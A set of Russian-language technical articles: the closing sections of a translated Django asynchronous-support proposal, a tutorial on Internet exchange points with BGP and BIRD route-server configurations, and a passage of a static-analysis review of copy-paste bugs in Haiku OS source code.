Моя работа с [Channels](https://channels.readthedocs.io/en/stable/) за эти годы также повлияла на предлагаемые в этом DEP решения; различные попытки более тесно интегрироваться с представлениями Django выявили многие из проблем и решений, изложенных выше.
Тем не менее, всегда будут проблемы, которых мы никак не ожидали. Этот DEP менее конкретен в реализации, чем большинство других, потому что он должен быть таким — по мере движения к асинхронному Django мы будем сталкиваться с проблемами и при необходимости сможем исправить курс.
Предложенный способ реализации асинхронности может также привести к небольшой потере производительности для пользователей с полностью синхронным кодом. Внедрение асинхронного кода в Django, вероятно, снизит производительность для тех пользователей, которые продолжать использовать WSGI и полностью синхронные представления, так как асинхронный event loop должен будет запускаться каждый раз, когда им нужно запустить асинхронный код. В данном случае целью является снижение производительности на 10% или менее — если падение окажется слишком велико, мы можем посвятить время его улучшению. План не состоит в том, чтобы реализовать асинхронность ценой ухудшения синхронности.
Также стоит подумать о том, что произойдёт, если реализация проекта будет прекращена (из-за недоступности участников, изменения экосистемы Python или по другим причинам). Постепенная реализация изменений означает, что в этом случае Django вряд ли окажется в плохом состоянии; может быть несколько влитых изменений, которые следует отменить, но намерение состоит в том, чтобы политика Django в отношении master-ветки минимизировала вероятность такого события.
Кроме того, даже если мы просто запустим асинхронные представления и больше ничего (без ORM, без шаблонов и т.д.), это всё равно будет успешным проектом; это само по себе открывает большой потенциал и даёт доступ почти ко всей экосистеме асинхронности в Python.
Другим потенциальным долгосрочным эффектом этого проекта является то, что он использует людей и энергию, которые могли быть использованы в других проектах Django, что может привести к «выгоранию» некоторых контрибьюторов. Хотя это риск, о котором мы всегда должны помнить, подход к этому проекту с учётом устойчивости и финансирования сведёт к минимуму это и, мы надеемся, даст большой выигрыш для людей.
### Альтернативы
Здесь указаны некоторые альтернативные подходы или решения, которые были отклонены, с объяснением, почему.
#### Асинхронные модули вместо \_async функций
Вместо довольно уродливого суффикса для методов и функций, которые требуют как асинхронного, так и синхронного варианта (например, `django.core.cache.cache.get_async`), мы могли бы создать целые отдельные асинхронные пространства имен аналогичными именами и просто поменять импорты:
```
from django.core.cache_async import cache
cache.get("foo")
```
Это смотрится чище, но проблема возникает при попытке использовать обе реализации в одном файле; становится трудно отследить, что конкретно вы используете, и случайно сделанный синхронный вызов становится трудноуловимой ошибкой.
Тем не менее, это одно из решений, к которому я был ближе всего; у него всё ещё есть некоторые достоинства.
#### Форк Django
Хард-форк будет невозможно поддерживать, а также потребует огромной траты ресурсов; вполне вероятно, что было бы почти невозможно влить результат обратно, учитывая огромное отклонение от основной ветки кода, и разделение базы пользователей и поддержки — ужасная идея.
Для любого крупного рефакторинга вроде данного единственный способ надёжно добиться результата, особенно в сообществе, состоящем в основном из добровольцев, — сделать его постепенным, а это означает отсутствие полных форков.
#### Расширение Channels
У людей популярно мнение, что можно расширить [Channels](https://channels.readthedocs.io/en/stable/) для достижения многих из этих целей, «внешних» для Django. Надеюсь, что если вы прочли что-то из этого объёмного текста выше, то понимаете, насколько нецелесообразно было бы реализовывать это за пределами Django; даже если бы мы игнорировали ORM, поддержка отдельного HTTP/middleware flow была бы очень хрупкой.
#### Не asyncio
Существуют другие асинхронные фреймворки и event loop'ы для Python, которые не `asyncio` и которые часто принимали более удачные дизайнерские решения некоторых задач, которыми занимается Django. Ключевые слова `await` и `async` в Python фактически не зависят от event loop и его реализации.
Однако популярность библиотек, основанных на `asyncio`, делает его единственным приемлемым выбором; Django не может оставаться в одиночестве, мы должны полагаться на исследования и работу других, чтобы добиться успеха. В то же время большая часть проводимой реструктуризации Django всё равно будет применима к другому асинхронному решению; если ситуация изменится позже, работа, необходимая для адаптации к другому async runtime, будет не такой сложной, как этот начальный переход.
#### Greenlets/Gevent
Стоит отдельно поговорить о гринлетах и Gevent, так как они являются реализацией конкурентности, которая не использует асинхронный синтаксис Python.
Хотя эта идея на первый взгляд кажется привлекательной, с таким подходом есть много тонких проблем. Отсутствие явного `yield` или `await` означает, что сложный API, такой как в Django, в основном становится непредсказуемым в отношении того, будет ли он блокировать текущий контекст выполнения или нет. Это приводит к гораздо более высокому риску состояния гонки и взаимных блокировок без тщательного программирования, что я испытал на себе.
Проблемы с сопрограммами, совместно использующими соединения с базой данных, упомянутые выше, также могут возникнуть с гринлетами. Мы должны были бы обеспечить greenlet-safe всей системы Django ORM и сделать что-то похожее на new-connection-context, описанный выше.
Кроме того, сторонняя поддержка этого стиля намного слабее. Хотя перемещение Django к нему может вызвать «эффект ореола» и возродить популярность gevent, этого, вероятно, будет недостаточно для поддержки всех библиотек, которые нам понадобятся.
Финансирование
--------------
С проектом такого масштаба важно рассматривать финансирование как важнейшую часть реализации этого DEP.
Несмотря на то, что он предназначен для реализации небольшими итерациями — в том числе если он окажется частично заброшен, — наибольшая ценность заключается в том, что он выполняется как единая непрерывная работа в относительно короткий период времени (год или около того).
Это означает, что проект получит значительную выгоду от того, что кто-то заплатит за координацию и контрибьютинг на условиях частичной или полной занятости. Такая работа для [Django Fellows](https://www.djangoproject.com/fundraising/#who-is-the-django-fellow) не оплачивается; их задача вместо этого — сортировка и обслуживание, и поэтому нам нужно либо увеличить их финансирование и время (если они захотят), либо, что более вероятно, искать что-то ещё.
Предыдущие крупные инициативы привлекали разовое финансирование — например, кампании на Kickstarter для `migrations` и `contrib.postgres`, а также грант MOSS (Mozilla) для [Channels](https://channels.readthedocs.io/en/stable/). С таким заголовком, как асинхронный Django, вполне вероятно, что мы могли бы собрать приличную сумму для этого проекта.
Также стоит подумать о том, *кто* может помочь в этом проекте. Асинхронность — всё ещё относительно новая область Python, и многие контрибьюторы Django — старые и новые — не имеют большого опыта работы с ней. Мы должны составить бюджет не только для людей, имеющих опыт работы с Django/async, но также и для обучения и адаптации участников.
Характер работы позволяет ей быть в высокой степени распараллеливаемой по сравнению с первоначальной работой над HTTP/middleware/view flow, и поэтому мы должны убедиться, что любой, кто заинтересован, может помочь в составе небольшой «рабочей группы», без необходимости понимать всю систему сразу.
Я не претендую на то, чтобы иметь ответ о том, кто должен управлять этим проектом, сколько людей должно быть оплачено и как они должны быть оплачены (будь то прямое финансирование, как Fellows, контракты/вознаграждения за работу над отдельными функциями, как мы делали с Channels, или частичная или полная занятость у работодателей, платящих им зарплату), но я знаю, что оплачиваемые взносы будут иметь большое значение.
Хотя проект может быть успешно реализован только силами волонтёров, он в таком случае будет реализовываться намного медленнее и, как я ожидаю, гораздо менее эффективно реагировать на изменения по пути, и мы также можем потерять пользователей Django, если это займёт слишком много времени.
Обратная совместимость
----------------------
Цель, конечно, состоит в том, чтобы не было проблем с обратной совместимостью, и мы обеспечим это в меру наших возможностей на задокументированных публичных API.
Тем не менее, вероятно, будут небольшие побочные эффекты от изменения внутренних частей, в частности, HTTP/middleware flow. Любой, кто использует недокументированные API, включая отчеты об ошибках и интеграцию APM, должен будет обновить свой код.
Стоит отметить, что любой, кто использует Django с асинхронным кодом прямо сейчас, скорее всего столкнётся с несовместимостью, поскольку мы усиливаем безопасность основных компонентов. Любое приложение, которое вызывает ORM из сопрограммы, например, перестанет работать — но такое приложение уже было ошибочным, поскольку ORM полностью синхронный и цикл событий приложения был бы полностью заблокирован в любом случае.
Эталонная реализация
--------------------
Данный DEP слишком велик, чтобы предоставить эталонную реализацию; он включает в себя значительное переписывание Django в течение нескольких лет и версий.
Тем не менее, много базового кода уже написано в [asgiref](https://github.com/django/asgiref), в том числе тяжёлая работа по тестированию, обработке потоков и переключению между синхронным и асинхронным мирами. Эта библиотека была официальным проектом Django в течение нескольких лет и станет обязательной зависимостью Django.
Также немало работы проведено в проекте [Channels](https://channels.readthedocs.io/en/stable/), которому удалось внедрить некоторые из этих концепций в Django, даже не имея возможности прикоснуться к самому коду ядра Django.
Авторские права
---------------
Этот документ *(и этот перевод)* опубликован как общественное достояние по лицензии [CC0 1.0 Universal](https://creativecommons.org/publicdomain/zero/1.0/deed.ru). | https://habr.com/ru/post/461493/ | null | ru | null |
# Точка обмена трафиком: от истоков к созданию собственной IX
> *«We set up a telephone connection between us and the guys at SRI...», Kleinrock… said in an interview:
>
> «We typed the L and we asked on the phone, „Do you see the L?“»
>
> «Yes, we see the L,» came the response.
>
> «We typed the O, and we asked, „Do you see the O.“»
>
> «Yes, we see the O.»
>
> «Then we typed the G, and the system crashed»…
>
>
>
> Yet a revolution had begun...*
>
>
>
> The beginning of the internet.
Всем привет!
Меня зовут Александр, я сетевой инженер в компании Linxdatacenter. В сегодняшней статье речь пойдет про точки обмена трафиком (Internet Exchange Point, IXP): о том, что предшествовало их появлению, какие задачи они решают и как строятся. Также в данной статье я продемонстрирую принцип работы IXP с помощью платформы EVE-NG и программного маршрутизатора BIRD, чтобы было понимание, как это работает «под капотом».
Немного истории
---------------
Если посмотреть [сюда](https://en.wikipedia.org/wiki/List_of_Internet_exchange_points_by_size), то можно заметить, что бурный рост количества точек обмена трафиком начался в 1993 году. Это связано с тем, что большинство трафика существовавших на тот момент операторов связи проходило через backbone-сеть США. Так, например, когда трафик шел от оператора во Франции до оператора в Германии, он из Франции сначала попадал в США, и только потом из США в Германию. Backbone-сеть в данном случае выступала транзитом между Францией и Германией. Даже трафик внутри одной страны часто проходил не напрямую, а через опорные сети американских операторов.
Такое положение вещей сказывалось не только на стоимости доставки транзитного трафика, но и на качестве каналов и задержке. Количество пользователей сети Интернет увеличивалось, появлялись новые операторы, объем трафика возрастал, интернет взрослел. Операторы по всему миру начали понимать, что нужен более рациональный подход к организации межоператорского взаимодействия. «Зачем мне, оператору А, платить за транзит через другую страну, чтобы доставить трафик оператору Б, который располагается на соседней улице?». Примерно такой вопрос задавали себе операторы связи в то время. Так, в разных частях мира в точках концентрации операторов начали появляться точки обмена трафиком:
* 1994 – LINX в Лондоне,
* 1995 – DE-CIX во Франкфурте,
* 1995 – MSK-IX, в Москве и т.д.
Интернет и наши дни
-------------------
Концептуально архитектура современного интернета представляет из себя множество автономных систем (autonomous system, AS) и множество связей между ними, как физических, так и логических, которые определяют путь прохождения трафика от одной AS к другой.
В качестве AS обычно выступают операторы связи, интернет-провайдеры, CDN, дата-центры, компании энтерпрайз сегмента. AS организуют логические связи (peering) между собой, как правило, средствами протокола BGP.
То, как автономные системы организуют эти связи, определяется рядом факторов:
* географическими,
* экономическими,
* политическими,
* договоренностями и общими интересами между владельцами AS,
* и т.д.
Конечно, в данной схеме есть определенная структура и иерархия. Так, операторы делятся на tier-1, tier-2 и tier-3, и если клиентами для местного интернет-провайдера (tier-3) являются, как правило, обычные пользователи, то, например, для операторов уровня tier-1 клиентами являются другие операторы. Операторы tier-3 агрегируют на себе трафик своих абонентов, операторы связи tier-2, в свою очередь, агрегируют трафик tier-3 операторов, а tier-1 – весь интернет-трафик.
Схематически это можно представить так:
*На данной картинке видно, что трафик агрегируется снизу вверх, т.е. от конечных пользователей к tier-1 операторам. Также имеет место горизонтальный обмен трафиком между примерно равнозначными между собой AS.*
Неотъемлемой частью и одновременно недостатком данной схемы является некая беспорядочность связей между автономными системами, располагающимися ближе к конечному пользователю, в пределах географической зоны. Рассмотрим картинку ниже:
Предположим, что в крупном городе присутствует 5 операторов связи, пиринг между которыми, по тем или иным причинам, организован, как показано выше.
> Если пользователь Петя, подключенный к интернет-провайдеру Go, захочет получить доступ к серверу, подключенному к провайдеру ASM, то трафик между ними будет вынужден проходить через 5 автономных систем. Таким образом увеличивается задержка, т.к. увеличивается количество сетевых устройств, через которые пойдет трафик, а также объем транзитного трафика на автономных системах между Go и ASM.
Как сократить количество транзитных AS, которые вынужден проходить трафик? Правильно – точка обмена трафиком.
В наши дни появление новых IXP обусловлено все теми же потребностями, что и в начале 90-х-2000-х, только в более мелком масштабе, в ответ на увеличивающееся количество операторов связи, пользователей и трафика, растущее количество контента, генерируемого CDN-сетями и дата-центрами.
Что такое точка обмена трафиком?
--------------------------------
Точка обмена трафиком – это место со специальной сетевой инфраструктурой, где заинтересованные во взаимном обмене трафиком участники, организуют взаимный пиринг. Основные участники точек обмена трафиком: операторы связи, интернет-провайдеры, провайдеры контента и дата-центры. В точках обмена трафиком участники соединяются между собой напрямую. Это позволяет решить следующие задачи:
* уменьшить задержку,
* сократить количество транзитного трафика,
* оптимизировать маршрутизацию между AS.
Учитывая, что IXP присутствуют во многих крупных городах мира, то это все благоприятно сказывается и на сети Интернет в целом.
Если вышеописанную ситуацию с Петей решать с помощью IXP, то получится примерно так:
Как устроена точка обмена трафиком?
-----------------------------------
Как правило, IXP – это отдельная AS со своим блоком публичных IPv4/IPv6 адресов.
Сеть IXP чаще всего представляет из себя сплошной L2 домен. Иногда это просто VLAN, в котором размещаются все клиенты IXP. Когда же речь идет о более крупных, географически распределенных IXP, то для организации L2 домена могут использоваться такие технологии, как MPLS, VXLAN и т.д.
### Элементы IXP
* **СКС.** Здесь ничего необычного: стойки, оптические кроссы, патч-панели.
* **Коммутаторы** – основа IXP. Порт коммутатора — точка входа в сеть IXP. Также коммутаторы выполняют часть функций по безопасности – фильтруют мусорный трафик, который не должен присутствовать на сети IXP. Как правило, коммутаторы подбираются исходя из требований к функционалу – надежность, поддерживаемая скорость портов, функции безопасности, поддержка sFlow и т.д.
* **Route server (RS)** – неотъемлемая и необходимая часть любой современной точки обмена трафиком. По принципу работы очень сильно напоминает route reflector в iBGP или designated router в OSPF и решает те же проблемы. По мере роста количества участников точки обмена трафиком, увеличивается количество BGP сессий, которое необходимо поддерживать каждому из участников, т.е. это напоминает классическую full-mesh топологию в iBGP. RS решает проблему следующим образом: устанавливает BGP-сессию с каждым заинтересованным участником IXP, и тот становится клиентом RS. Принимая BGP update от одного из своих клиентов, RS рассылает данный update всем остальным своим клиентам, разумеется, за исключением того, от которого данный update был получен. Таким образом, RS избавляет от необходимости устанавливать full-mesh между всеми участниками IXP и элегантно решает проблему масштабируемости. Стоит отметить, что сервер маршрутов прозрачно передает маршруты от одной AS к другой, не вноcя изменения в передаваемые BGP атрибуты, например не добавляет номер в своей AS в AS-path. Также на RS происходит базовая фильтрация маршрутов: например, RS не принимает martians networks и префиксы самой IXP.
В качестве решения route server часто используется программный маршрутизатор с открытым исходным кодом – BIRD (bird internet routing daemon). Он хорош тем, что он бесплатен, быстро разворачивается на большинстве linux дистрибутивов, имеет гибкий механизм настройки политик маршрутизации/фильтрации, не требователен к вычислительным ресурсам. Также, в качестве RS может быть выбран и аппаратный/виртуальный маршрутизатор Cisco, Juniper и т.д.
* **Безопасность.** Поскольку сеть IXP – это концентрация большого количества AS, то и политика безопасности, которой должны следовать все участники, должна быть хорошо прописана. Как правило, все те же механизмы, которые применяются при установлении BGP-соседства между двумя отдельными BGP-пирами вне IXP, применяются и здесь, а также используются некоторые дополнительные средства защиты.
Например, хорошей практикой является пропуск трафика только с определенного mac-адреса участника IXP, который обговаривается заранее. Запрет трафика с полями ethertype, отличающимися от 0x0800(IPv4), 0x08dd(IPv6), 0x0806(ARP); это делается для того, чтобы отфильтровать трафик, которому нет места при BGP-пиринге. Также могут применяться такие механизмы как GTSM, RPKI и т.д.
Пожалуй, вышеперечисленное – это основные составляющие любой IXP вне зависимости от масштаба. Конечно, у крупных IXP могут применяться дополнительные технологии и решения.
Бывает, что IXP также предоставляет своим участникам дополнительные сервисы:
* размещают на IXP TLD DNS-сервера,
* устанавливают аппаратные NTP-сервера, давая возможность участникам точно синхронизовать время,
* предоставляют защиту от DDoS-атак и т.д.
Принцип работы
--------------
Разберем принцип работы точки обмена трафиком на примере простейшей IXP, смоделированной средствами EVE-NG, а после рассмотрим базовую настройку программного маршрутизатора BIRD. Для упрощения схемы мы опустим такие важные вещи, как резервирование и отказоустойчивость.
Топология сети представлена на рисунке ниже.
Предположим, что мы администрируем небольшую точку обмена трафиком и предоставляем следующие варианты пиринга:
* публичный пиринг,
* приватный пиринг,
* пиринг через route server.
Номер нашей AS – 555, мы владеем блоком IPv4 адресов – 50.50.50.0/24, из которого выдаем IP-адреса, для желающих подключиться к нашей сети.
50.50.50.254 – IP-адрес, настроенный на интерфейс route server’а, с данным IP клиенты будут устанавливать BGP-сессию в случае пиринга через RS.
Также для пиринга через RS мы разработали простейшую политику маршрутизации на основе BGP community, которая дает возможность участникам IXP регулировать кому и какие маршруты отправлять:
| | |
| --- | --- |
| BGP community | Описание |
| LOCAL\_AS:PEER\_AS | Передать префиксы только PEER\_AS |
| LOCAL\_AS:IXP\_AS | Передать префиксы всем участникам IXP |
К нашей IXP желают подключиться и обменяться трафиком 3 клиента; допустим, это интернет-провайдеры. Все они желают организовать пиринг через route server. Ниже представлены схема с параметрами подключения клиентов:
| | | | |
| --- | --- | --- | --- |
| Клиент | Номер AS клиента | Анонсируемые клиентом префиксы | ip адрес выданный клиенту для подключения к IXP |
| ISP #1 | AS 100 | 1.1.0.0/16 | 50.50.50.10/24 |
| ISP #2 | AS 200 | 2.2.0.0/16 | 50.50.50.20/24 |
| ISP #3 | AS 300 | 3.3.0.0/16 | 50.50.50.30/24 |
### Базовая настройка BGP на маршрутизаторе клиента:
```
router bgp 100
no bgp enforce-first-as
bgp log-neighbor-changes
neighbor 50.50.50.254 remote-as 555
address-family ipv4
network 1.1.0.0 mask 255.255.0.0
neighbor 50.50.50.254 activate
neighbor 50.50.50.254 send-community both
neighbor 50.50.50.254 soft-reconfiguration inbound
neighbor 50.50.50.254 route-map ixp-out out
exit-address-family
ip prefix-list as100-prefixes seq 5 permit 1.1.0.0/16
route-map bgp-out permit 10
match ip address prefix-list as100-prefixes
set community 555:555
```
Здесь стоит отметить настройку no bgp enforce-first-as. По умолчанию, BGP требует, чтобы в as-path принимаемого BGP апдейта, присутствовал номер as bgp пира, от которого данный апдейт был получен. Но поскольку route server не вносит изменения в as-path, его номер будет отсутствовать в as-path и апдейт будет отброшен. Данная настройка применяется, чтобы маршрутизатор начал игнорировать данное правило.
Также мы видим, что клиент установил bgp community 555:555 на данный префикс, что согласно нашей политике означает, что клиент хочет анонсировать данный префикс всем остальным участникам.
Для маршрутизаторов остальных клиентов настройка будет аналогичная, за исключением их уникальных параметров.
### Пример конфигурации BIRD:
```
define ixp_as = 555;
define ixp_prefixes = [ 50.50.50.0/24+ ];
template bgp RS_CLIENT {
local as ixp_as;
rs client;
}
```
Далее описывается фильтр, который не принимает martians префиксы, а также префиксы самой IXP:
```
function catch_martians_and_ixp()
prefix set martians;
prefix set ixp_prefixes;
{
martians = [
0.0.0.0/8+,
10.0.0.0/8+,
100.64.0.0/10+,
127.0.0.0/8+,
169.254.0.0/16+,
172.16.0.0/12+,
192.0.0.0/24+,
192.0.2.0/24+,
192.168.0.0/16+,
198.18.0.0/15+,
198.51.100.0/24+,
203.0.113.0/24+,
224.0.0.0/4+,
240.0.0.0/4+ ];
if net ~ martians || net ~ ixp_prefixes then return false;
return true;
}
```
Данная функция реализует политику маршрутизации, которую мы описали ранее.
```
function bgp_ixp_policy(int peer_as)
{
if (ixp_as, ixp_as) ~ bgp_community then return true;
if (ixp_as, peer_as) ~ bgp_community then return true;
return false;
}
filter reject_martians_and_ixp
{
if catch_martians_and_ixp() then reject;
if ( net ~ [0.0.0.0/0{25,32} ] ) then {
reject;
}
accept;
}
```
Настраиваем пиринг, применяем соответствующие фильтры и политики.
```
protocol as_100 from RS_CLIENT {
neighbor 50.50.50.10 as 100;
ipv4 {
export where bgp_ixp_policy(100);
import filter reject_martians_and_ixp;
}
}
protocol as_200 from RS_CLIENT {
neighbor 50.50.50.20 as 200;
ipv4 {
export where bgp_ixp_policy(200);
import filter reject_martians_and_ixp;
}
}
protocol as_300 from RS_CLIENT {
neighbor 50.50.50.30 as 300;
ipv4 {
export where bgp_ixp_policy(300);
import filter reject_martians_and_ixp;
}
}
```
Стоит отметить, что на route server’e является хорошим тоном складывать маршруты от разных пиров в разные RIB. BIRD позволяет это делать. В нашем же примере для простоты все апдейты, принятые от всех клиентов, складываются в одну общую RIB.
Итак, проверим, что у нас получилось.
На route server’e видим, что со всеми тремя клиентами установлена BGP-сессия:
Видим, что мы получаем префиксы от всех клиентов:
На маршрутизаторе as 100 видим, что при наличии всего одной BGP-сессии с сервером маршрутов, мы получаем префиксы и от as 200 и от as 300, при этом BGP-атрибуты не поменялись, как если бы пиринг между клиентами осуществлялся напрямую:
Таким образом мы видим, что наличие сервера маршрутов значительно упрощает организацию пиринга на IXP.
Надеюсь, что данная демонстрация помогла вам лучше понять, как устроены точки обмена трафиком и как реализуется работа сервера маршрутов на IXP.
Linxdatacenter IX
-----------------
В Linxdatacenter мы построили собственную IXP на базе отказоустойчивой инфраструктуры из 2-х коммутаторов и 2-х route-серверов. Сейчас наша IXP запущена в тестовом режиме, и мы приглашаем всех желающих подключиться к Linxdatacenter IX и принять участие в тестировании. При подключении вам будет предоставлен порт с пропускной способностью 1 Gbit/s, возможность пиринга через наши route-сервера, а также доступ в личный кабинет IX-портала, доступного по адресу [ix.linxdatacenter.com](http://ix.linxdatacenter.com).
Пишите в комментарии или личные сообщения для получения доступа к тестированию.
Вывод
-----
Точки обмена трафиком возникли на заре интернета как инструмент решения вопроса неоптимального прохождения трафика между операторами связи. Сейчас с появлением новых глобальных сервисов и увеличением количества CDN трафика точки обмена все также продолжают оптимизировать работу глобальной сети. Увеличение количества IXP в мире несет пользу как для конечного пользователя сервиса, так и для операторов связи, операторов контента и т.д. Для участников IXP выгода выражается в сокращении расходов на организацию внешних пирингов, сокращении количества трафика, за который приходится платить вышестоящим операторам, оптимизации маршрутизации, возможности иметь прямой стык с операторами контента.
Полезные ссылки
---------------
* Посмотреть карту расположения точек обмена трафиком: [www.internetexchangemap.com](https://www.internetexchangemap.com/)
* Посмотреть подробную статистику по BGP пирингу, в том числе и присутствие на IXP: [www.peeringdb.com](https://www.peeringdb.com) | https://habr.com/ru/post/478832/ | null | ru | null |
# Лучшие Copy-Paste алгоритмы для C и C++. Сборник рецептов Haiku OS
Многочисленные опечатки и Copy-Paste код стали темой для дополнительной статьи о проверке кода Haiku анализатором PVS-Studio. Впрочем, будут ошибки, связанные не сколько с опечатками, а скорее с невнимательностью и неудачным рефакторингом. Найденные примеры ошибок демонстрируют, насколько силён человеческий фактор в разработке программного обеспечения.
Введение
--------
[Haiku](https://www.haiku-os.org/) — свободная операционная система с открытым исходным кодом для персональных компьютеров. В настоящее время международная группа разработчиков активно трудится над компонентами системы. Из последних значимых событий в разработке были портирование LibreOffice в операционную систему и выпуск первой бета-версии R1 Beta 1.
Команда разработчиков статического анализатора кода [PVS-Studio](https://www.viva64.com/ru/pvs-studio-download/) следит за развитием проекта с 2015 года, выпуская обзоры дефектов кода. Это четвертый обзор за всё время. С предыдущими статьями вы можете познакомиться по этим ссылкам:
1. [Проверка операционной системы Haiku (семейство BeOS). Часть 1](https://www.viva64.com/ru/b/0317/);
2. [Проверка операционной системы Haiku (семейство BeOS). Часть 2](https://www.viva64.com/ru/b/0318/);
3. [Как выстрелить себе в ногу в C и C++. Сборник рецептов Haiku OS](https://habr.com/ru/company/pvs-studio/blog/461255/)
Особенностью последнего анализа кода является возможность использовать официальную версию PVS-Studio для Linux. В 2015 её не было, как и удобного отчёта для просмотра ошибок. Сейчас мы отправим разработчикам полный отчёт в удобном формате.
Классика жанра
--------------
[V501](https://www.viva64.com/ru/w/v501/) There are identical sub-expressions to the left and to the right of the '-' operator: (addr\_t) b — (addr\_t) b BitmapManager.cpp 51
```
int
compare_app_pointer(const ServerApp* a, const ServerApp* b)
{
return (addr_t)b - (addr_t)b;
}
```
Каждый программист в своей жизни должен перепутать переменные *a* и *b*, *x* и *y*, *i* и *j*… и т.д.
[V501](https://www.viva64.com/ru/w/v501/) There are identical sub-expressions to the left and to the right of the '||' operator: input == \_\_null || input == \_\_null MediaClient.cpp 182
```
status_t
BMediaClient::Unbind(BMediaInput* input, BMediaOutput* output)
{
CALLED();
if (input == NULL
|| input == NULL)
return B_ERROR;
if (input->fOwner != this || output->fOwner != this)
return B_ERROR;
input->fBind = NULL;
output->fBind = NULL;
return B_OK;
}
```
В условии два раза проверяют один и тот же указатель *input*, а указатель *output* остался непроверенным, что может привести к разыменованию нулевого указателя.
Исправленный код:
```
if (input == NULL
|| output == NULL)
return B_ERROR;
```
[V583](https://www.viva64.com/ru/w/v583/) The '?:' operator, regardless of its conditional expression, always returns one and the same value: 500000. usb\_modeswitch.cpp 361
```
static status_t
my_transfer_data(....)
{
....
do {
bigtime_t timeout = directionIn ? 500000 : 500000;
result = acquire_sem_etc(device->notify, 1, B_RELATIVE_TIMEOUT, timeout);
....
} while (result == B_INTERRUPTED);
....
}
```
Тернарный оператор потерял свой смысл, когда программист допустил ошибку и написал два одинаковых возвращаемых значения — *500000*.
[V519](https://www.viva64.com/ru/w/v519/) The 'm\_kindex1' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 40, 41. agg\_trans\_double\_path.cpp 41
```
trans_double_path::trans_double_path() :
m_kindex1(0.0),
m_kindex2(0.0),
m_base_length(0.0),
m_base_height(1.0),
m_status1(initial),
m_status2(initial),
m_preserve_x_scale(true)
{
}
void trans_double_path::reset()
{
m_src_vertices1.remove_all();
m_src_vertices2.remove_all();
m_kindex1 = 0.0;
m_kindex1 = 0.0;
m_status1 = initial;
m_status2 = initial;
}
```
В функции *reset* допущена ошибка: опечатка в индексе переменной *m\_kindex2*. Значение этой переменной не обнулится, что, вероятно, повлияет на выполнение других фрагментов кода.
[V501](https://www.viva64.com/ru/w/v501/) There are identical sub-expressions to the left and to the right of the '>' operator: fg[order\_type::R] > fg[order\_type::R] agg\_span\_image\_filter\_rgba.h 898
```
typedef Source source_type;
typedef typename source_type::color_type color_type;
typedef typename source_type::order_type order_type;
void generate(color_type* span, int x, int y, unsigned len)
{
....
if(fg[0] < 0) fg[0] = 0;
if(fg[1] < 0) fg[1] = 0;
if(fg[2] < 0) fg[2] = 0;
if(fg[3] < 0) fg[3] = 0;
if(fg[order_type::A] > base_mask) fg[order_type::A] = base_mask;
if(fg[order_type::R] > fg[order_type::R])fg[order_type::R] = fg[order_type::R];
if(fg[order_type::G] > fg[order_type::G])fg[order_type::G] = fg[order_type::G];
if(fg[order_type::B] > fg[order_type::B])fg[order_type::B] = fg[order_type::B];
....
}
```
В последних строках тут сразу сравнение одинаковых переменных и присваивание одинаковых переменных. Не могу предположить, что тут задумывалось. Просто отмечу фрагмент как подозрительный.
[V570](https://www.viva64.com/ru/w/v570/) The 'wPipeIndex' variable is assigned to itself. CEchoGals\_transport.cpp 244
```
ECHOSTATUS CEchoGals::CloseAudio (....)
{
....
wPipeIndex = wPipeIndex;
m_ProcessId[ wPipeIndex ] = NULL;
m_Pipes[ wPipeIndex ].wInterleave = 0;
....
}
```
Переменная *wPipeIndex* инициализируется собственным значением. Скорее всего, была допущена опечатка.
Ошибки с указателями
--------------------
[V522](https://www.viva64.com/ru/w/v522/) Dereferencing of the null pointer 'currentInterface' might take place. Device.cpp 258
```
Device::Device(....) : ....
{
....
usb_interface_info* currentInterface = NULL; // <=
uint32 descriptorStart = sizeof(usb_configuration_descriptor);
while (descriptorStart < actualLength) {
switch (configData[descriptorStart + 1]) {
....
case USB_DESCRIPTOR_ENDPOINT:
{
....
if (currentInterface == NULL) // <=
break;
currentInterface->endpoint_count++;
....
}
....
case USB_DESCRIPTOR_ENDPOINT_COMPANION: {
usb_endpoint_descriptor* desc = currentInterface // <=
->endpoint[currentInterface->endpoint_count - 1].descr;
....
}
....
}
```
Указатель *currentInterface* изначально инициализируется нулём и в дальнейшем проверяется при входе в ветви оператора *switch*, но не во всех случаях. Анализатор предупреждает, что при переходе к метке *USB\_DESCRIPTOR\_ENDPOINT\_COMPANION* возможно разыменование нулевого указателя.
[V522](https://www.viva64.com/ru/w/v522/) Dereferencing of the null pointer 'directory' might take place. PathMonitor.cpp 1465
```
bool
PathHandler::_EntryCreated(....)
{
....
Directory* directory = directoryNode->ToDirectory();
if (directory == NULL) {
// We're out of sync with reality.
if (!dryRun) {
if (Entry* nodeEntry = directory->FirstNodeEntry()) {
....
}
}
return false;
}
....
}
```
Я полагаю, что в условии сравнения указателя *directory* с нулевым значением допущена ошибка, и условие должно быть противоположным. При текущей реализации, если переменная *dryRun* будет иметь значение *false*, то произойдёт разыменование нулевого указателя *directory*.
[V522](https://www.viva64.com/ru/w/v522/) Dereferencing of the null pointer 'input' might take place. MediaRecorder.cpp 343
```
void GetInput(media_input* input);
const media_input&
BMediaRecorder::MediaInput() const
{
CALLED();
media_input* input = NULL;
fNode->GetInput(input);
return *input;
}
```
Указатель *input* инициализируется нулём и с таким значением и останется, т.к. в функции GetInput указатель не меняется. В других методах класса *BMediaRecorder* пишут иначе, например:
```
status_t
BMediaRecorder::_Connect(....)
{
....
// Find our Node's free input
media_input ourInput;
fNode->GetInput(&ourInput); // <=
....
}
```
Здесь всё корректно, но в первом фрагменте кода нельзя так написать, иначе функция будет возвращать ссылку на локальный объект, но код исправить как-то нужно.
[V522](https://www.viva64.com/ru/w/v522/) Dereferencing of the null pointer 'mustFree' might take place. RequestUnflattener.cpp 35
```
status_t
Reader::Read(int32 size, void** buffer, bool* mustFree)
{
if (size < 0 || !buffer || mustFree) // <=
return B_BAD_VALUE;
if (size == 0) {
*buffer = NULL;
*mustFree = false; // <=
return B_OK;
}
....
}
```
В условном выражении, где проверяются все некорректные входные данные, допустили опечатку при проверке указателя *mustFree*. Скорее всего, выход из функции должен быть при нулевом значении этого указателя:
```
if (size < 0 || !buffer || !mustFree) // <=
return B_BAD_VALUE;
```
[V757](https://www.viva64.com/ru/w/v757/) It is possible that an incorrect variable is compared with nullptr after type conversion using 'dynamic\_cast'. Check lines: 474, 476. recover.cpp 474
```
void
checkStructure(Disk &disk)
{
....
Inode* missing = gMissing.Get(run);
dir = dynamic_cast(missing);
if (missing == NULL) {
....
}
....
}
```
